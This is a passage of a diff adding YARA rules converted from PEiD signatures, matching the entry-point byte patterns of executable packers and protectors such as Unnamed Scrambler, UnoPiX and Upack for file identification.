+        description = "[Unnamed Scrambler 1.1C -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 33 C0 89 45 E4 89 45 E8 89 45 EC B8 C0 47 00 10 E8 4F F3 FF FF BE 5C 67 00 10 33 C0 55 68 D2 4A 00 10 64 FF 30 64 89 20 E8 EB DE FF FF E8 C6 F8 FF FF BA E0 4A 00 10 B8 CC 67 00 10 E8 5F F8 FF FF 8B D8 8B D6 8B C3 8B 0D CC 67 00 10 E8 3A DD FF FF 8B 46 50 8B D0 B8 D4 67 00 10 E8 5B EF FF FF B8 D4 67 00 10 E8 09 EF FF FF 8B D0 8D 46 14 8B 4E 50 E8 14 DD FF FF 8B 46 48 8B D0 B8 D8 67 00 ?? ?? ?? ?? ?? FF B8 D8 67 00 10 E8 E3 EE FF FF 8B D0 8B C6 8B 4E 48 E8 EF DC FF FF FF 76 5C FF 76 58 FF 76 64 FF 76 60 B9 D4 67 00 10 8B 15 D8 67 00 10 A1 D4 67 00 10 E8 76 F6 FF FF A1 D4 67 00 10 E8 5C EE FF FF 8B D0 B8 CC 67 00 10 E8 CC F7 FF FF 8B D8 B8 DC 67 00 10}
+    condition:
+        $a
+}
+
+rule PEiD_02332_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65}
+    condition:
+        $a
+}
+
+rule PEiD_02333_Unnamed_Scrambler_1_2B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2B -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02334_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10}
+    condition:
+        $a
+}
+
+rule PEiD_02335_Unnamed_Scrambler_1_2C___1_2D____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.2C / 1.2D -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+    condition:
+        $a
+}
+
+rule PEiD_02336_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_02337_Unnamed_Scrambler_1_3B____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 1.3B -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_02338_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74}
+    condition:
+        $a
+}
+
+rule PEiD_02339_Unnamed_Scrambler_2_0____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.0 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02340_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_02341_Unnamed_Scrambler_2_1_Beta____2_1_1____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+    condition:
+        $a
+}
+
+rule PEiD_02342_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8}
+    condition:
+        $a
+}
+rule PEiD_02343_Unnamed_Scrambler_2_5_1_Beta_2____2_5_2____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+    condition:
+        $a
+}
+
+rule PEiD_02344_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02345_Unnamed_Scrambler_2_5A____p0ke_
+{
+    meta:
+        description = "[Unnamed Scrambler 2.5A -> p0ke]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_02346_UnoPiX_0_75____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 0.75 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61}
+    condition:
+        $a
+}
+
+rule PEiD_02347_UnoPiX_1_03_1_10____BaGiE_
+{
+    meta:
+        description = "[UnoPiX 1.03-1.10 -> BaGiE]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+    condition:
+        $a
+}
+
+rule PEiD_02348_Unpacked_BS_SFX_Archive_v1_9_
+{
+    meta:
+        description = "[Unpacked BS-SFX Archive v1.9]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+    condition:
+        $a
+}
+
+rule PEiD_02349_UPack_0_11_
+{
+    meta:
+        description = "[UPack 0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+    condition:
+        $a
+}
+rule PEiD_02350_Upack_0_12_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.12 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+    condition:
+        $a
+}
+
+rule PEiD_02351_Upack_0_1x_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.1x beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+    condition:
+        $a
+}
+
+rule PEiD_02352_Upack_0_20_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.20 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+    condition:
+        $a
+}
+
+rule PEiD_02353_Upack_0_21_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.21 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+    condition:
+        $a
+}
+rule PEiD_02354_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02355_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02356_Upack_0_22___0_23_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.22 - 0.23 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+    condition:
+        $a
+}
+
+rule PEiD_02357_Upack_0_24_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.24 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0}
+    condition:
+        $a
+}
+rule PEiD_02358_Upack_0_28___0_399__relocated_image_base___Delphi___NET__DLL_or_something_else____Dwing__h__
+{
+    meta:
+        description = "[Upack 0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else -> Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+    condition:
+        $a
+}
+
+rule PEiD_02359_Upack_0_36_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.36 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02360_Upack_0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.37 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02361_Upack_0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack 0.38 beta -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02362_Upack_0_399____Dwing_
+{
+    meta:
+        description = "[Upack 0.399 -> Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02363_UPack_Alt_Stub____Dwing_
+{
+    meta:
+        description = "[UPack Alt Stub -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+    condition:
+        $a
+}
+
+rule PEiD_02364_Upack_v0_10___v0_12Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.10 - v0.12Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02365_Upack_V0_10_V0_11____Dwing___Sign_by_fly_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+    condition:
+        $a
+}
+rule PEiD_02366_Upack_V0_10_V0_11____Dwing_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7}
+    condition:
+        $a
+}
+
+rule PEiD_02367_UPack_v0_11_
+{
+    meta:
+        description = "[UPack v0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0 50 48}
+    condition:
+        $a
+}
+rule PEiD_02368_Upack_v0_1x___v0_2x____Dwing_
+{
+    meta:
+        description = "[Upack v0.1x - v0.2x -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95}
+    condition:
+        $a
+}
+
+rule PEiD_02369_Upack_v0_21Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.21Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+    condition:
+        $a
+}
+rule PEiD_02370_Upack_v0_22___v0_23Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02371_Upack_v0_24___v0_28alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+    condition:
+        $a
+}
+
+rule PEiD_02372_Upack_v0_29_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.29 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+    condition:
+        $a
+}
+
+rule PEiD_02373_Upack_v0_29_Beta___v0_31_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+    condition:
+        $a
+}
+
+rule PEiD_02374_Upack_v0_2Beta_
+{
+    meta:
+        description = "[Upack v0.2Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+    condition:
+        $a
+}
+rule PEiD_02375_Upack_v0_30_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.30 beta -> Dwing]"
